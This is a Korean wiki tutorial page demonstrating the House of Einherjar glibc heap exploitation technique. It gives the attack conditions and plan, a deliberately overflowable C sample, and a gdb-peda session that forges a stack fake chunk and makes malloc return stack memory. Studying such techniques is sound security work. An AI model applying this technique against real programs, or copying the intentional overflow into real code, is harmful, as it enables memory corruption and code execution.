Page tree
Skip to end of metadata
Go to start of metadata

You are viewing an old version of this page. View the current version.

Compare with Current View Page History

Version 1 Next »

Excuse the ads! We need some help to keep our site up.

List

Conditions

  • 해당 기술은 다음과 같은 조건에서 동작합니다.
    • 공격자에 의해 Heap을 생성,해제가 가능해야 합니다.
    • 공격자에 의해 Stack 영역에 Fake chunk를 생성 할 수 있어야 합니다.
    • 공격자에 의해 Allocated chunk의 size값에서 "prev_inuse" flag 값을 제거 할 수 있어야 합니다.
    • 공격자에 의해 변경된 Allocated chunk의 size값 앞 영역에 값을 저장할 수 있어야 합니다.
      • 저장될 값: "prev_inuse flag 값이 제거된 Heap 영역의 시작 주소" -  Heap header size(16/8) - FakeChunk address

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Stack 영영에 Fake chunk(Free Chunk)를 생성합니다.

    • 3개의 Heap 영역을 할당 합니다.
    • 2번재 Heap 영역(Allocated Chunk)의 size 값에서 "prev_inuse" flag 값을 제거 합니다.
    • 2번재 Heap 영역(Allocated Chunk)의 prev_size 영역에 다음과 같은 값을 저장합니다.
      • 2번재 Heap 영역의 시작 주소 - Heap header size(16 or 8) - FakeChunk address
    • 2번재 Heap 영역을 해제 합니다.
      • 2번재 Heap 영역을 해제로 인해 Fake chunk의 size값이 변경됩니다.
    • Fake chunk의 size 값을 원하는 값으로 변경합니다.
    • 원하는 크기의 메모리 영역을 할당 합니다.
      • FakeChunk address + 0x10 영역을 할당 받습니다.

Example

Files

Source code

#include <stdio.h>
#include <malloc.h>
#include <unistd.h>
int main()
{
	char fake_chunk[32];
	read(0,fake_chunk,32);

	char *buf1 = malloc(0x70);
	char *buf2 = malloc(0x100);
	char *buf3 = malloc(0x70);

	read(0,buf1,122);

	free(buf2);
	
	read(0,fake_chunk,16);
    char *buf4 = malloc(0x200);
}

Exploit flow

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x400653 : read(0,fake_chunk,32) 호출 후

    • 0x40068e : read(0,buf1,122) 호출 후

    • 0x40069f : free(buf2) 호출 후 

    • 0x4006b5 : read(0,fake_chunk,16) 호출 후
    • 0x4006bf : malloc(0x200) 호출 후

Break points
gdb-peda$ b *0x0000000000400653
Breakpoint 1 at 0x400653
gdb-peda$ b *0x000000000040068e
Breakpoint 2 at 0x40068e
gdb-peda$ b *0x000000000040069f
Breakpoint 3 at 0x40069f
gdb-peda$ b *0x00000000004006b5
Breakpoint 4 at 0x4006b5
gdb-peda$ b *0x00000000004006bf
Breakpoint 5 at 0x4006bf
gdb-peda$ 
  • 다음과 같이 Stack영역에 Fake Free chunk를 생성합니다.
    • size : 0x100
    • fwd, bck : 

      0x7fffffffe4a0

Create Fake chunk
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/houseOfEinherjar 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD


Breakpoint 1, 0x0000000000400653 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x4242424242424242
0x7fffffffe4b0:	0x4343434343434343	0x4444444444444444
gdb-peda$ set *0x7fffffffe4a8 = 0x100
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ set *0x7fffffffe4b0 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4b4 = 0x7fff
gdb-peda$ set *0x7fffffffe4b8 = 0x7fffffffe4a0
gdb-peda$ set *0x7fffffffe4bc = 0x7fff
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000000100
0x7fffffffe4b0:	0x00007fffffffe4a0	0x00007fffffffe4a0
gdb-peda$ 
  • 다음과 같이 buf2 chunk의 prev_size, size값을 덮어씁니다.
    • 사용자 입력값으로 buf2의 prev_size, size영역을 덮어쓸 수 있습니다.
  • 공격을 위해 다음과 같이 변경합니다.
    • prev_size : buf2(0x602090) - Chunk header(16) - Fake free chunk(0x7fffffffe4a0) = 0xffff800000603be0
    • size : 0x111 - prev_inuse(0x1) = 0x110
Overwrite for Prev_size and Size area of Free chunk.
gdb-peda$ c
Continuing.


Breakpoint 2, 0x000000000040068e in main ()
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000111
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000081
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ ni
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

0x0000000000400693 in main ()
gdb-peda$ x/20gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0x4242424242424242	0x0000000000004242
0x602090:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/x 0x602090 - 16 - 0x7fffffffe4a0
$1 = 0xffff800000603be0
gdb-peda$ set *0x602080 = 0xffff800000603be0
gdb-peda$ set *0x602084 = 0xffff8000
gdb-peda$ set *0x602088 = 0x110
gdb-peda$ x/2gx 0x602080
0x602080:	0xffff800000603be0	0x0000000000000110
gdb-peda$
  • 다음과 같이 stack 영역을 unsorted bin에 등록 할 수 있습니다.
    • buf2 영역이 해제되면 Fake free chunk 영역이 Unsorted bin에 등록되는 이유는 다음과 같습니다.
      • buf2의 prev_inuse flag를 제거 했기 때문에 이전 Chunk가 없는 것으로 판단하게 됩니다.
      • buf2의 prev_size 영역에 값으로 인해 해당 영역이 free chunk로 판단하게 됩니다.
        • 0x602080 - 0xffff800000603be0 = 0x7fffffffe4a0
The stack area is registered in the unsorted Bin.
gdb-peda$ c
Continuing.

Breakpoint 3, 0x000000000040069f in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0xffff800000603cf1
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ x/68gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000081
0x602010:	0x4242424242424242	0x4242424242424242
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4242424242424242	0x4242424242424242
0x602040:	0x4242424242424242	0x4242424242424242
0x602050:	0x4242424242424242	0x4242424242424242
0x602060:	0x4242424242424242	0x4242424242424242
0x602070:	0x4242424242424242	0x4242424242424242
0x602080:	0xffff800000603be0	0x0000000000000110
0x602090:	0x0000000000000000	0x0000000000000000
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0xffff800000603cf0	0x0000000000000080
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
0x602200:	0x0000000000000000	0x0000000000000000
0x602210:	0x0000000000000000	0x0000000000020df1
gdb-peda$ p main_arena.bins[1]
$6 = (mchunkptr) 0x7fffffffe4a0
gdb-peda$
  • 다음과 같이 Stack 영역을 할당 받을 수 있습니다.
    • Fake free chunk의 size영역에 할당 받기 원하는 크기를 입력합니다.
      • free() 함수로 인해 Fake free chunk의 size영역에 값이 변경되었습니다.
    • malloc() 함수호출을 하면 "Fake free chunk + 0x10" 영역을 할당받습니다.
Allocated to Stack area.
gdb-peda$ c
Continuing.
AAAAAAAABBBBBBB

Breakpoint 4, 0x00000000004006b5 in main ()
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0a42424242424242
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ set *0x7fffffffe4a8 = 0x1000
gdb-peda$ set *0x7fffffffe4ac = 0x0
gdb-peda$ x/4gx 0x7fffffffe4a0
0x7fffffffe4a0:	0x4141414141414141	0x0000000000001000
0x7fffffffe4b0:	0x00007ffff7dd1b78	0x00007ffff7dd1b78
gdb-peda$ c
Continuing.

Breakpoint 5, 0x00000000004006bf in main ()
gdb-peda$ i r rax
$7 = 0x7fffffffe4b0
gdb-peda$ p main_arena.bins[1]
$8 = (mchunkptr) 0x7fffffffe6b0

Related information

  • No labels